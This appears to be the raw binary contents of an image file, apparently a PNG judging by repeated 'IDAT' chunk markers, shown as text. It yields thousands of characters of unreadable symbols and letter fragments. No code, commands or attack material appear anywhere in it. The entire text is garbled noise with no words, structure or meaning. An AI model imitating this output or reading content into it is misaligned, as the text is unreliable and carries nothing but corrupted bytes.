ɗ͝8g'`|@8uDuՀTid%1QeX,gCDFXlx#i'C+,aXʄܺ5FyPZ@DHmTM',;Ɇ5jj(oceKVJٲv` 1E?;:8S/o?'""""""""""=Şyrucߠ&Qꋩ<>ҙwY<4R%&b$N7T "HY((J]H05h>voڼZ 3f&'ҁ.:G_7˃: e: D,qv˓zYw^#z3_ONc FSb'bY76"6i D~-hxkhl(F"&bt@UB_ NzfcV#shNX1 UL (җI!V|]_zp׭އfڼ9"DD=V:k20 ٦sqΑY}6-iݕNCsC9{l {.`{չ!Mܐ/[Rx!lœP9Sx,c[vk3{iDh|'J N;E cA${"""""8ksv~r`_|*"b,QI BJ58} WBe$VdW~*Tr0<$g{Wb wC) (xs $L IDATY=vtQ* =C*A%i_;r@JIg3L%! mA+@R LH1HMHРT_R>2ꊏLcuui( 򡟖/{(WN! TA\".Xn| נaŇ2=0/S~%Xs֑Gj 6 F zZٱC)[Xm_'1LicE|7`_:kf=̇_?1<16Ѵq s~ߺxֻVgvv޿%,}h>w@Gq"@!/ڑ/NCa՚m;-z2HC˗̬Ãu$:?мހGqWa՚ [f);qe֍ sC%33o4twlZ>?!Y""""QHDDDDD0>߽gAÍ_y|wfd=yp ӪabDXWI z1cG/mHB%ĉ 3;:F " `O9@P bCٲ[0]0j?-X{`k'U0B $:,+(7ȳZ0+e*`EBI ΘU}߇*z鍷R<f2xL'S ;AOQՄS<e:ܲiNxg ;o=Ww3BkԌ7Aݢ'p\BJƮgqVȔR>qannr.9x`V"QYMa+sLr/~fpVU*+UZݱ¸?z6:MNvAE맽hmeZٶl=tֻVeS!ٵW3iPq"9,mkgۖC[/tVr:4-k]Βճ ;yk+YԲѻ(شuyYLx* Wҷ׻3HDDDDD-M<{*ǿI1,Ƀ~;'ggO8͓cTךRG~7~_уգM_xNg>#>~۟0CǏ=-_ו?>Hjkxn?Wo:RPYk_5Y2}s飸Tt`?ɰW֣~B95о\9l)ǴQpy  JRZXS''??G)Iq` SX=KVUNA gΪ^_'͟sIygg+ۇSoT&WTZQJUi2P\H,"rNuEvbSb"صLV~YuTwQPwB^trVdW ʓF> fjx*<{󼎫-[rPtӆ~/*xeO5jʕVOٻaѣawOݪu`1۴q;wlki0sƾZ\}53l:lzyw:GZF϶-`0j;oKٻw޿"W꘹uq׾N,:7M.>uC= e޿-]:};8&'IU$)HU.LXY/ebM5|L菎sC:8.5Pmȱ/j sm@<þ'a ynQ2' \3j';%^ pV3ti*x],YO5*WRUU_M׮w4=Y&n]ņXuz.'Hhjټ^,ު.gt;B={r{O{W]@>k滷=zp57^:zysK63g m~x'M%hSay%Try1[s_e5u~/{{犑 c5DϫU]mytrN u,i$'4/k`j/fpT0rUPƤLC+}6ߜᘜnA$BFs Ch=d=V9Ɓ[+)t,*L z zJ0$  @œ*!˕SWg)iPA2<E6Lhf SH)RRNhΜ\51 7" s̎* E8Y7 JfLhyEj 'e"63` >:@v2~ewoe$a1>;Sʊtט*|]eT>{pH8X&%>v7;R57fVՙʎ̓g):E3s{5[woݹﳛƽ$/Z̄qv׹o9އjW<ӴD{׺ǶשiYG 5\4gyK_yhϮ.>VXu-n|l6k 3yzx?S酐o.?ӝֹۗ,]C-WG2c| 4hy[m&ڷ}"[kDą~Dɧ c<]ʞ'>3ao^r /< ˗5͔٥d֏&>s@RXvV/$쾰\peC462TF㽭Qm)ΌȴꉆN֜ٙ]vUאDe9q ;f-7b&(GPƞQQ1E쩦JUUCkݼч:{ێ6gZf8R[l"ݠЂ~-6|dgW;so:~EK%u˗TK0M E_m6rfߍ;p=}pvWąW9U!+ dRDU.k^%+ "JYJkF&LL#uR#QpFk0.U,f2]zuHyί3pvHfT'^ODdIr"HH)&H*N')ȬUDF!-\K>2w'J|`oOpwrcIdRY%%Y""Wq&D"vsszPRPh+^0W Uٕ5L83)+2+/4_ŠkbFXnўӻ,{{v ZVdh ,>V6%_(bW-BR^7(_T]T}^q?xj/!-ޱn,_æ{u\q0gϗn߿n?-Nm+to=bbAO/r[w5<ՁD\TXu+787n?2sub,wY ӎ%u\zuִzYCh{uŶڔ aݻilm)(e]Rªoţk~MYi3/ZDǞ1?R`bV9ɲe7en>j~/-0<_wxbw|~ϯ=~q \or ?*:?}wgjNk?Txlu?{V׬c4ï!p%7ҶΠo .HH$}W:nFзzdcij4TNAx LiyqH.2_r wGyMSVH /B8b;qYQ櫣Y&E #HљS.d%R J`J*%SV@̬+]J*J9UJʬbJD)Oq԰y/d2ʨ(k[V&U:X.MjLNY+gP飓G~YĩfROғ*z;|f-̶׎IN(9d n8%<[&l!i& `KQ~7l @Xjt~evAFPe^-a2i ]?{ b庭GkC b+B9%59,VC>4K-J< '3-F^(sj+Bg?t2cG `?j"""".twP"">~;PǏQk_[o5ydܷH"s>yG!tIOF1,^/O5Cg7'.tJ l˞=?J ""! !}OdO01b̞z%S@q䌳}_[>gqܷ?U62>hSb?wN>;(8Op=#P(+ۨ1Qv0, YY KJd2-KNb%VJ~55v0%l.u@ d'm6S˧m* hD}s!Irۤ@̥Jz~vulH |3H @H6l .TLFWOǤ ă?Fod %i?*K9ȩtzXғ S=ZF7pV ֨PA)eɻPs`4z#kMA)r$Z Ce-?A|!Sf =eX'ӓ6({VRܮw0"Pp " ɛU럺HBED1 C!ΈsHDDDDDPh)~{5~:#8{a^HҲCVDiX U  P ں= p q}QAZjQw m%? 8gV!%ø,X(?ʅb,R`$ {XAP| 񮙘:MNL.UU;_=!t0UJeNRDal$OegkYbpNg P n@FX䆓cJ2qV Ok +C[9.J Ja烙lEwLP©-ߓBe^*|+4” QCq"=g5_a|T%⬁ZV LdWjJ*T9+J`UW1=Yew\]^hG6E(Y=dT5Fr(@eɽ io>Q{6 KOf*͜ӧsc988ޓ}J?U҄ )eA~o3QO6;N2Шk؁a6RX;(Z YbvD:6+`z8u3 ^)-:f*0C؊A Rj-6PWwU)rIDg RHxXiAQJf@@>F}u Ƨ5ɚkvq)29\M.}u7K2bTlrn@ +N@N+T:RnÑh*Gia ` m:3Jʫy$3`eY5"E_1J%PiGz_͝Vz2_94nyؘ #8u{ORBUeNS"I@^gl|ef\ l$]8 #_s!g<xwmuԊQhʐ1\yMXgǸsNI&;Ze)3 >₹L 1H]ٲ]a'w?GnZe`W@d)EY}ц =VV'4t0 #ܐ·94~UCĹ@ɞ6& IDATa#Fa̍ѝmusZ;n{挺,5}؞&K67W$Od~p`p%Zf^C0 =܁VMalGL1qj ?74*mgEnsxllݰ">s*ӢB)(& (IB N 'I4 JNcv|+WM~E钉RVzOs,=u\ tJY崪8%RUT 0 YLJ<זarh! [Vyf[1*b 3VdhASf4 W ,@JS) ~βfO651ݶ|&!Ym= '!]X\Y=q'҈t&7?P~\Q8@闂+Ͽ ݈# LwJ^Nڅ8=u?GiL{ Ӯ=rA(kf1=xՇ~l~NbWrmaY4~ E` T $%JU V210u䙳wͬ[\2JVxUGIqu@TU*M8-dff (j3HJfgdTٚ5EᙞnppB q9iΈb}P %a*>̠:]7TmpW6 tǓ^NSxٲLO(h"""""""""".0D'"""""bLsܙq@#ޡ6|1w6&N[omҨ*/_0>X*RHE JۚP8X8K6azУ[k-|P|cnUo"SCRI`&%Cdx̙3w+/~W%S.SI9S%PSՊ))sJ4c >YRǛdE;z* `B~Ȳ{)F(KdrLNˈ0ȥDYR"tm*e&Ƕـ/ԬO r)Y)M(VKJB턂 AϕO1 w{{˳sly%Y=VJoҟA5(ULR"$nnJaj3Ov@ s7[դ% `,N߄ 5FD`r?g>f迼ʼn~ /k\6 f†rcα2\Rj&7,$"""""""b#y7E1"1Ph_.Ɗ!$RW0s/-+NB%czȱ֩y4ΪB& 9 },և0syމ<|}[#R,I sx6k-{ K/'T)95 >ȁ2=%Ҿ`ZM9\sRV(䐙נPYH%Hf$`JgaV0F4A@g@-+ 4=iϽr)娚PgzaZO:30ِ) Wu0I%VҪzvݯkg5qAiĈg>LYz͙յ6H( 3EF2er-zU >G{'RTPWLsL`"!jeg!'׊O564`J2us`IE\?tV}"RPR05\0#k[MK]7hu=>{tOrtl?8ħzd۪HCQTe*UEJYVP,C1 A^lɑ]9CN1]!0a_6*%$]3ìUUcɆ+k_d+]<7c/'{Yt-3͖azlgjXB:Q p}/[PڹV)l̤ f?v'{q6VZgճmVtt^{7mgq6"vn(^mΊD][P{:Й˷w҆m\P{7BQd^ma/wam\LHܐD,[d+z͙cq۲X⾕ED[dh+(S:J*'""""ňČ98a;ØJ'ΊNamHP##S},<;XI(RN&8yCz%9mTP\$[c~tl]OIA2BJ:Mb)0d)PLRVRC2N.kt3;SfN@'w}IoR:jPȪU%᝹1[m1\xhz&X_{y?8+•g'!M BAʹi4phHWEt5 CܙRLmljޯ8#dXʒ; f2-211 Sf7+ZDrȱAY͑-H3/YƒWS0u2;fvBTP<\6:s 4_lPE6 |0sOlC[olгmŽ+Sg>uwXhsG;2ubc]RHѳmŽWw +Zw=mط.IgЦ}Xt<]oAQгxs;Wb['^|wֽ4aC]llW֬lٹwzuٸq&}/ 9˻پj:n{xlʖ=Yu5 fBػ!w4sC%3,FtwlZ twv_oc(9*gȷNA"FQqbd̋ |aU `,DqX: _#Ixͻo5T*LYl }諭{)>\ kݯ#8`E,UIZ2J+b& QU&JRV˩a+?0ѝͷ|r/}WkrK0/ z~80xxOz;z4J+V!%$C*Pv7AhX_4Cex3.,Qb2S 1)pJ8A A|L+^崲h'OaZ䉜k5jKc R(-WEm[4gn|l6}g؏ׯG;3nSKdzF37>ouwֻV}WO03Nغ.R=uTP M*knFPt+rnơ},u{ngW;ZW)뺶 0[}mOߑ NٶrͪYM|m{wv{lh9}ukv>Xuy)UDDDDĹD${""""".H(@ې2.N0uUKLw g9"Cxm^DZ֓yj$yrG, REBR"TIF(W|~~GWG˚RÁ7V^ڗ|E: |ViX)=QJOd_" +$$SPJhi*`zFy!Xj/9k¨>B/y44h=`WTq2 ߋ]A6PP0Ө!챩$FN041;%6{NAP9ښprSA3Lna>.O݊j{Onc4hZֺ\vn:;Vu6oۖT[owjuBUPڶ̩m+lmޕ/<{buws"=-<6{ZgۖC[￵&.`MZ{W74dfÎ͏=Ȧe˿ O Qҽ%iZ+bӤ!-5pR”`R}:avU}Ω!sd䒰Vd$R;™*=hfxz]Jݖ1O@~L%Dtgi%=z;6 JQ*Эng}c]ڗSuT%U>[}^>gw0ot:KK6 ؼR# `/r|^^`uJٰI=F]w<>Ғp}Ml ձfGcGaYj8uU52V|߫eiϰ^@@ǻpsr!=( C{ ^QscS϶T`le !o{JAk42]cz]v Дf\K<\quOwD'r}='M~׏;#Qt-9%ԜDҔ)ii faaIR& 6 'wr,>NFdU."T[\gf0hAdQꐯT,8qLO٘2 jn-]"Ǡx-dR8; Ħ6ʄ< h+E! a۱A :!qtTUWU4"K8p1hFClxO}ǟ6~8.Mk>g"[*~\9ikCUBw\V6D=A[:M%'{g79+h0xd4#r:=vOdS5VԆ~lޞذ_s 7k;:7߈ão&μ;:f1UFYSٝmFA.X5MH4*{۲Aܽރ jv5ub {CA.Cx.5][ T@"ձ|9p0KH %Fɣ/ d*Aiu5 U_1kGi)Ww\{Ӎ7}7]ױ\5c3ox26cq`1`>>{jslKtop`J(Bڼ48]nՋ kOhvgC]CU_#8^*tmȡQ` M}+)顃[I6C=Q4rn|k~' `CˬA)h;ޗ[+͝9}#(A0 7F7r:8r,9e,* Bnߝ)ZA2q1+$rB:۸=7M[vl>3\z Ͽ8b܋^iLY:] jj qK4i$")KjBh% ƈHSYkJp@@9sh>qʩBuVkwhl-eޞ[Un>_@>sE|ɝwBY5t)6@#r[SzX'T/`XBGk"zHGqZJ ;RUe*_* 7* }<޻ǹ8kc,7v7{m:zuF r~},v޿V.-GԃA6j`=vkPEd[LBq@Gݢ>^|ٽ==YmJF8*yⱞ=0In؞< =z꯸7NCĮы\ʽTYVL{лc >uF+ZkY[vJ{!ZJuH5k6l:nhǎxf +p)Qzި~".<0AAşf?{1Z Pօ99W$_KP_hzciSoX Vyb58TW T=RT(Q"  #(I"(_R)w8U.Kn h{sf݈eDRfI ) :KJDTĤ-W-[~U˯m,⚕W@XMON`rB4U24$q&"&f"&7A+KHdc?Ο-b/*/C.zELCcTQa\,3j2RxʼhnWt+'~o2;6ֿ5Tɴ > 1}C2yA ֽ압HPG,D7ج`fiFӉ~2a"mM 3V?B-qr)sӷ(P *dWx*XݰGn|pm}I+A@w ߴm})x=O:p}-p{탲X3mijUtcX~ ?U|)z9vAFDoߖEm{}fZP11Y߻m6ݰ'ygQ'CW1~~]x6vlݪ U8|p6y}VqC^߬ѻaϡӢkKGl݅ؿ+1@7{mor~U'Dw{R&݀m { ϸ[efk,h˖۟y/l˯F-_yZD01~kG g_9}lbK#MӳͽKikvD5ڒfzmJ~pVA5m@y)gdB4sB~~6k)@*$)RuS";;~ ν=ukDHP3  ){@Z1#250Hd?%0 Gmo1#M$%eNS$ +qusuqsys)hN)GiD2J$pBR2&ڌsz$Οg){x+MfKrLp˱;YlZhթscD{Ry AW C HFTJS Kd4@/W:l56 UI IDAT e"IL? q,irݟv!{N,d A'Gʍ)a !(M.i݋]wҗ[i,n6#oƞ|m{q'6n7 5L]~rW%Ξ=;_Wo>}zժU];oOxץh=AY^mzldOcŒV#6S~rӷ?YVnͶ<_*"")5_o5/s?GP,NF$3uJj(PoZWU'drR49CPN*21i R5%"@F6AMA$ d97:{5W_fjB=J6x8OMRsRS)$iR㄄0 R+I!Bmrk26N }oЊsZ,gH닇4:8$͎r?RIjɮ:rcz,&duFdf>mߑT"NXBBGNH 3贈, `i"=K K۱^bXĞg.M.+r&D@μjz[o\S0A$5-1J玧@󐑤 rVPfrcM 8C$f )'Ik)ic\7y+zO]-qS&'e|<59954ǯNIbJcJSJ9Tiv-Ѻ+ agg(}B g ,%L\ Qg KtWU#])͐Uƚ6+#Әd"MY@h6cdeY(~b$1Ŏ=!s/ng|P뚀 T1u|^^^[9ekHk h'=y%Jƪ:8ZƵX5VԖ\|动"1q|<LE(n. K4A3sJ aQ"$"aDJy`6+i D9#9}vh~IkzapTENez͉ lZRTI6^Vm2sp@nR68L0?!(]-8O*\dO@@@@bry}x( #;'[xn۴&WO/UHZh&*rEj*וdoWf9<;2W}-zߚX}:sf2y6J1Z"J` (Q>=A%:̞91R@T5IVw,w.VWJNScKrVT4$4F4R$ HJ4O v 7666۪0\g9QPn1ҺϼNhBy?7DCaQ9 \(,LB1!Y 6a2wl=6_[>%T^1 ɿU`' `18m"g袉nY-YMbmFQenR?~oK)GE?K{7t6oLع䘤9 QC,A8sQzF#l4:뵫zVPPQ$-ҔX&cNƓ UI$!N q)Ekw$)"DJ/Lxaz@̖y )SٯUښJޑZymq$md<'E*?Qup,ll4\Zg5YQכqfr#fv MVߔ& qi&xmͪ|;a8gvv)Ⱦ=UsY>.؀+oBd~p.ȫߑͦF {.-dwVV(N_+!1H(I`[IOEEF#7j*u(󶖠 I"iBslMNcaĆ!NdYoSeT<Dj2Eމx2>#N4c*7e/KhU=1p!=Ks@՘S}.q\d7 Vn hEh5hkܼVZAˤIeTk CupcE,HA)@ v뜙'9UiD]f )pדD$%I!)q$T̤N"J{1EJ{WAmYYkH)XOJ -w+hN W3"zkb *fdIZz*Bb*dJ2F18Loq̈́@8Jش#WYzrlB(+cp29S8QHRY2 $cm4;gz4]XvLY˄d2EGsNڱz9YF\!D1FpQ~)*]H-_>  XX$>{*3g ߶-],hLp^q< AC'6I|O{3^Go&v"ʚJHE5UZ("ըER6DzZ "QR1 k:Eji+"Aˉf(A6O*(b"_Ŷl\"'!@78aYzTʑZ3)\mcy'Reռi9zB S/"#]5 #Kjʞ;UJb1՗ Ye)ͬ[r+qgN|b7@h[LSt;$pYy:1ܔ4aSIcD84Nj+/wM.߈D嬐JyĥxPEQ$DM)4SΉss4~683y؅'Ͻ^;:y g^3쨜{Ͻ!i;ot4IlX ~5Q"`}s{Cd$dKoRXʏV=%W ѐ/GJ'oe,U}v،'7s" '̩x7{<̈́?d#  C.~j@ Z\zmK*fҁ䖛Nm֏[C OU)]"Kh8E['1CKg|{>_ʊx dO@@@@@@@bGl-%IνNqd"1MQqSj hB45VUs"jNDOxRMẍ́ )5(IP; TsWo54z"0~>*fRLG͇V=!|hwkbDkz>/i#xa'NNncvo݋xOg{|'wᑍ&.g fDy/ AXk|˱u!׆ө ܹ9U9aز$S=9Ņ?؍;wgKOvV-Rʥ1sqF1|ԟ>w3Q7?؏.o cP. ]+ovXAU tzyᐓ FH ]U|- 6&cw J&I*@Q:6X'꘢@K<)iNa*)$M1i*̈́j&*NP3f"iHz4b R&ҘeM؞3|/DLS1>$$ 0)3AR*U{ m]V&fr/klUifM-fs/[O|k!̦.> IV0!$+.nҤ & e 2%uCt?!Ł )JCvdYKY/Uh@ۙH@$X0RF; 0E@R00!%.#%jV &02n408'@jm.ͩi9}կ߷I~տpbO;w^E_o^YqQPTZ痡%.|۞n5'wvK^: ǝfKݗsGqjT5*6rЙ /cX-Kq~#;}3l?8--ئK]UKRՓ3/t7ߟyy/;%,ran|?a<sobېߡ(.#x(XkTȞ[>g0hzcw&2.~L `mI{_PG~% K:~ߐ+(q%52 K6L%f4Si<s9XRTޤ@"$ 4|%M(GH (RHn4G#f4EH( ' a:զۜGIUr#YC1`UMZ*\>xiV㔊L3~A0VES|EHe\*Br\rM{F[TI{2o(^ƩM͵ UBXŖ+HSKlN#GwL-);*.00L:Lidy5~dMŁ]zn/7+~V7+vخ_=Ww:S+:կƀ[Ɗ~£Clш qF|?|vW16 bӕ]6ϐgjV.ekFvC&n) X\( /Y!2~YՅtK&馅T/;F,*$ޞ8uRNcP[Nwk)V=)ݿWo߱fQPKfN`@gȯ%@,%̯m _WTFbY'{,?VA QghD)JDBPT>Q(e(kΊ3/;HIRmO)rw27D[&[46UzУ{JV ST/o $B,)f%vK w*3ĜGnlɖLf k$)T؊SJmՍ?ܲ5.M3(lP#Vc?e\m6یk\_+Ku8= Dz8(-ʐ"z{ 7uꝶ!ݸmFn9uފn@[Z9/O~>sQ_IKWFJ¡v+031Ecx4s ,XK|,ЮCys2[d&^wV_rV+F@`Y4c}KjZeJ矒ZP=BSd`]#Բ"2GʪR]S%ˮ7+_gpYZ1N /Eռl<=VņTuH읁J$wA~|l[R*7ueH%"g%j5e"$TD-jG \љE?7ǛpOPT_^Ow'6t7|}7a_ep }o}_Fۭ4bD'lt952\rxt8(w}0Ѕqb7< pɫ0XX/X`stYC8| _o%Žڴ[ɍFv0 ;o_ڜ[EF!d[vڄ!stt[>61t_ _nl<4o_IKI  j=JIDHTg#~/jrAI@ %+Af! 8|dpFؘ:x諒 tK%LeH17L{8{څ Wf'*!jOoaۣ^Q9S0G=R/N>[ xqBYxl<1eAOELv< rl-U9EhǶT3=_;gn 3x'Ϩ߱i/}x w7^_7=Y1.4Gېwz!T/ߍzT/} aC7kw o{ IDATX e16Dr}c~xt_UBycuҿ(/nX?(Frb[V1==6#8|$?Gv_ct~+ko~aYG=uuަxL1[kw0΃bݮ|C&{6aȏn38 ֹ2\rx8o[##dݮؽqx=4+VbXn|mk46cG;J fZ8Ѕ*5.[[<#]QXzriL_ܓ%ϓ}J.8fȆ;k' _8heUn@ŃN~֌l2RJnqy`tfow'hÇnw<Ҙ,,h˖۟y/l˯F-_yZD01~k׸cξrlD`ݝ")3y%ಠ=Omon𘛡9&S"Y\z̮7c nx˘ *W/yuDI2CHAtM13KPP )om,ۗ{}%ZU'a#W(^`E2;m&̳L_z=ges Yl{rB֗QT`ٟ(ErNB$/jLC,?FS̈́9 @g!#3ƽ L,q4#`!vQEb!%v\IM M'cnQR q)0gQD%ɯqsq<(;LTdRJѭ33^ f?n^wu:ڗ~[X{dy5km"I?'tr37 `.gO:( E~ٳ/|/}|_7ӧOZ ߽k퉪s0B.Q0G/\wfdÆ?OnA>|O~dʫ[E43rR R Fa'> Dߧ 1(zg7HJE"8b05g#Q Du&u4.>j-~n4|잷+\R.DruʊrL2i3{YvD1.x ;%ʨD_631++dB"BYnq܉!iR,O2K ,{&Ʌ 㼲'Ŷ䞙v"g’6Qێ=zӯƒ/w_Uhx"(..AsE@ 56 ()FSƕ[Df\ArH.(/!"U#dyݐؘܹbS8myUhmW1cb9xڜrdA[pJ 14ȑ37V %B~i̅eXKʵΧj2Hq9ogVy)R;R*w {*# 䲶tXH\)&PGَʥuLD߬xW·#D,ILkd-9%㒰Sʙ3l,~}prT;c;(cIł74&d&4Læ],w+u\>KdO@@@@R涋lu\CQ}6 %Ye4*Xq[HHEF5%*=]}m`+Eu0R&D AwHojkL Z~bS8ᶛ|fx|q2: CC^QnG9fH8GZ,uLLg,VktѴQH#,Q'![ qez(GW:qo'uq9sX:G`N?$ڴb.OGX)*@TV15Y2썲V Gh/GG@I b[1P$74,9.NUsaϕ*^_f.CrRC0S1s3}S2:޸ j(T}k'e1A7LclƲ4IC%ʬCsy@٢ju=e.B#Ӵe͝写QAoZ‡ lVX2)6dDD)%$a0Qa@b(I! P({d`R5M>: lHj!:JmgSWtg܌aq=k6E Dgޙj3tO@@@@@@@@1gw!/k-~WT REJ4|ϳ"EiTXM1P#F({CEh6c=zaz=x|' wď8vyf╪rgӞ9F넘Ẉ\LC\2.zh] kDNc+,$1E,QuqZE@ DDTdd$9MD8fi("q "-!ѓIe3b[ęlM{  DC(" -v"IJIÞʉr4$ 5_Qj$X^V?eDl%[u[wٙ0#ӳgwiyo*#/ XZ}#2og0. sv"|, "!&DtJZS$")n'!2ꋬTȳTDZ>n#ڤ)Olr9n"٘8E@uI \TƜ/L 2e&[\l'^pHYQ[M6DQĸa@j5Q$ZTzMQGVSQDJ)RP L3MևDd&)1IBx9SIsB$$T(2ÈDkQjm%@.:n>E)KyJjs91 2|@HH+2t57g'bX/>D IcqHbxhwq?ֱ'65g̭T#:TO0STP?|'``z0(}+fl?owm_sbE'7#߃vwERU{h_2Ct9]N뮨+ݛZ<Իo7M biT-|[Iʶha1^x,ء_GD$"mfcnׯdq:?ߩ,?~UvgW8T%Snv6L=$Yz YVu4HTcO J(R- ho''w![7# qnS<2;̬_rTI Ef?\{35{6V`q: 4^Y_y!DӨ*nRV7rsbQ1 JEB #^PF3jtNRdYgEJ)={"A wl_f O2ƑRD:W("yi8A&ө;؅ gǛ1' 0)IHQFPi "'#tY2JT&>3gIaYD :.&Hj D$%ȃj&cNK"О!+@s/?nF\ַ|_7^3DDGf8غFG882]$0z`WlWumhWﾍq膽 n[?T$6l=ā>aW{CGvoSpݻ9~r:i=Ǟ>&Ow=G{Z=?=tpsQCwPZQFKfq9|_LgGѽj@@@@%@ط X cbG V8S5KgYP5ɩ >ϤfxX̹q<D30$UIˆ7͕tK`>F)U ~H1љ-!0{$N3&@C(7sdC3ևWa/-*x0`r!$}j2>?:r$J&cW|0Ýش~U]v4VDdbq2z_|Ga|拵'^_wN({C. 27ru0ru9?*NWK8B G꧎G^?^W[rƑԮª7ت [?ӵ_+xtFiD Duj))5PSjQ Q]JAU9& (ՠjj E*)P2TU@ TGT@uPhuA]P@A6ҩx2NJkF*4RiحO=oo}[Z#q8m6S1lj#ۨwہS@!820r`/T$t]bFlSQaW{ ]qFܺlFwmȳ-z#`aM<¥;L{?i>z`QsgUumő#7nzI{nzV{fTr&b!LӁ37zx;t؊gǞ8rVֺkҝ* `q3|d&`ٗ"lfYl6hY0G mA}uʮ/mv#\ʘ-T6Z@D5$MYξl0|AShG(C,;#;iah]^\ (C3Lym eNM - !E_G,Bxs!ҝ+!(&kOűW,~&^O35a)Q $@B8bV̈%NIfͫ׼|7q㺎knw\-LX7'|ujũSǯ'$=b̫ג O˅0I'&Ss) j$"##RQD*RڬE BjJՈjjQ5}"Q$*Id5ՠUM ]TAuf(,uP9(: jIt;!u$5$5NjF* L`"v-#=8/jljĉ4cnZئq? <;< 2 gnهe@ލ/ #f9G9ֳny M 8OE{o?犣r0z#VTchC{8W On!>_63غ#Nj߳z08پfæ}[wtmwHK @6UJZc͎ ǎU[-Cr(u`[ŹˈJٽ3ѫ[/K{T&S{|mA {Y0=N[DvcVLE܇ IDATRa6kA@& uFM$~+B-UI:hhF$Gg\yފ⹴h.^~Jè@qD1%J  \@BǪx՚}ݲ4})S驗ғ#+# } o,o*o4Csjꜚ:_K.xB))I))&#}P{9S*ޡ̑1)J'd,GsYOQy甼2N$~md/ycKko'O56|lݱdNcfgo a&'\ߴ@gڂ򍪨?@7|"˅ ~=-!"N ޹]DdD{+ٔ{9opzM{ 6MZ$DbM7v7b𨯤)a[<w ľs~7h$!#A =XiW!6` l퐼 a W P8`Z#lAIG; &`GP+kBvŴ8IF?Ȫu_x(4ɬ[waz~udHo.U.G9r =9rȑA Mu*r68 .vq3+/߿x~u߻bDD5OZn>:;oE#!)*J'SъZ̜^l͇O\Λh R"&-vh5KWկ m /{TSNZ-gdSVɝL0P@% Q@Է{Ll-5,.ITJa A%2b HZv~H*Q|=U4 UݜiZ+Per|yg0,I33W Ox[BoWYWY56o5RaUoTaOUP ǚ9FЉR)FiL' c"@шPBEIZ$sI?FA` 2g+ L.(S v&BĬ`= h٣QEϝlxy9sZ=D4=qmhe07=mi`xRνvp ^m1sz;ۓ;9La~v92&NNZi]xSŇw~mѩ ;ǎv)/9S;{vCZOѷ(Cf%IF(ya"F@xRD"y\5 //}_S'҂֡]F*MwE}!ߧ-&c'S>D8g3ı/80'0؃W1up^쨍$Ɖsf( ' .&1 DE"HZ8OH: # # B B #jv8k`x7ZABg9SZcIg'ϴk#o>)XNc1uI7:oSrpG6J<.<{ r}dʍ=;q܅;z݉;q\܉YKCm=Dg't*û֞ oqmdx{ԞW=.lq4tDhz"J;}3鉦^RplȎߋz37wm\Zsq[hx |#Wȑ#G uN몭$ UYR+=➛n#d:5BDQϬ{;`!2,P7bĩVh}Фa_Bܜii5c;R%,@Չ(I_ EPW =}ۗ.rXQYJYÊ #O"ݦy"SD ^,Q@81)5[90ջLU\_BiGj)sAш@ld@JBOӯg6=>p WЫtFb`}u1TMDIU(J 5pb0'"Lv.5jA8 bNX3D,_'Tٳ߹r;|F8qfmh'@}9Rq.๓:dtdoM89ٮ{}zK4oN) fijxljL==DylmLcbs郮69|+Se@;N8cxGlcgO3| sz"SDh4wĻgf'k_ûƧ8:0Ǝ~dK-7sz'z}Kk9rhb"QQ5lvٳ?ڵ[?S׮uݽȑ#GҺGgW @fS ]٤MQ[q̮; O?ٜ׿}SS7nC΄.Fn7[;fM}Y:ƊWaW}|%NZt /:؞ xv/ӱ9jh T Ղ.Ui_$ê+* I6+{fE*72_2~#hcb$Rv͌x%i](H4v@( ^9)HtD$QAJ7T[OX`  WA0ݽ@r2W6,kXCXBXjdjT5a}`3x%P4 " „I!BI=3Av]/RUǢ8eF† uYvpa-SoxK tbt .zD-ztf&TJUK!Bmȥuљ󮦪*4Ig Ԓ{}! 8uf Ԫ;8b] d 126lF_?u<\?ח ̓?_ȑ#W~aA9r%6#[|M/bo+Ww'?kWqr} oS%U̚@'=($))^{'Ӧw92O}io` [ı-gȊe""ff3s⣄)q ;_rȑ#}5[A! 7zct}1muemVW{i%SݿVor7זXOD#*^nJ,,[HP*1@p8䢑}^T#VÞZb2 {;5KzQTF1icr#m FN$.[*>E[rNZJ41-1uO"( $^Қ'oz$hzh.3A3uu)_rIKZz6bXF"qJp s&]H!!c~eT]Xw$Ð9©\nz@j;5!U#@2iD65ϫxv}7Կ֚e{e.vV]4PHUClC1>G *A9V7ZP"H,qkG&%qx4%EI  *rd)G.@"osO9rȱM/79r+4$ hxl֖ VŬ/4aɑ#Gj' Um}Ms_V:Ku=;?MnV~Z.O;oW|Ӗb򽠎_nS[KufQ<,wj| /ڏ*ڷ +ǤVyrҔ9o(;D;qeNn6OwHO<I&_AJֶ2SE3UU'*P% 1X_[\AHJUS*5jlYBAJ,v>Ȝ=Az5(q ^^b~YK3u‚d(X  BU`TS1X~T\6&Ԭ*٘# )+,4@*!KTuq%_C }<8ț<TK'aUeZ&vY1e[g"τsq"#ԫsSșdTIBIFrn5~[;tr݉:sȑ#G3,bԿ7>PSGc+kh!{=9rȑCtcZǼG)dzdO/Nr6ӞVܦY{k2<OZM7DͤF3+2hCbÑՖhsV:_j -:&J NQAR-6/u֮QҢ]Z%՞0(%Ub x /5ıRAi7bärD K q pCV3=gfcf'%#**J5X CHFrPՠQY b͎J#aY:W @NCDR3c#*IuTn؅KQzY'y&^{Y/ǵ6 T&RaR%RQF =J"NCdzirxbt6D@8@ 1D u~,*P&%b'uMj%Α#G9rȑ#ɑ#G/2+}qQUge t׸A!n:ںyei 彞[ o@"v1ڒ %G=  q 0թ3lvʭ"(bTq;Юc{d/5WgjK_[P)셉KQ)`"rop`0y-/Ji1.ITm["X,Hx=cT왠OJF33yEZ^ $G'!2,T,@$ I-vIzLLbA9Rv*)X=Q^.OD}N&$0$BXVUպA ǽK뻖WBLD?dVQχ1D"=eЯ T(DTjVZRd(PD uGeb!$bD>L ZjGw>Ekw] />DUDxQ,A*,H-H@ ]E |XT#k֪V 6QQQ6RĒTVIwI'I@Xـ0xJ j|/H=`6lLU"MBY-XpTEF5"/5k7ahK\Zk/~]lE-r{`9ksb$Q#RYG\<h=s{"$;"8'nRqt:XCpu/ntE pZ)U՞=53G9rȑ#G9ٓ#G97[=kr0A!Rwob+4%BhIn+ WsbQ|@ k{xOnS{A@,'NJBJb~dK>űpP/*Γ q֒s&*7%JCh}?H3W$ R vKʤ,2Lה|l *t*su 2ll` K8$b%Q=D">$G@0FlvW5^/vِ*--"(V\ &&Ȇ*!TE-Ԓ*TJP.V=c'!Fa&PFɳ.Q"Ͻ}O}ySaZ]Z=?ᅿs7 ݥUQ~XQT2juZk6ӓx`M\P]Q^ʪ`( c)ܗjnr'G9rg[rr+iٳhٓvQ,2ޝVʍ4[es׆8D 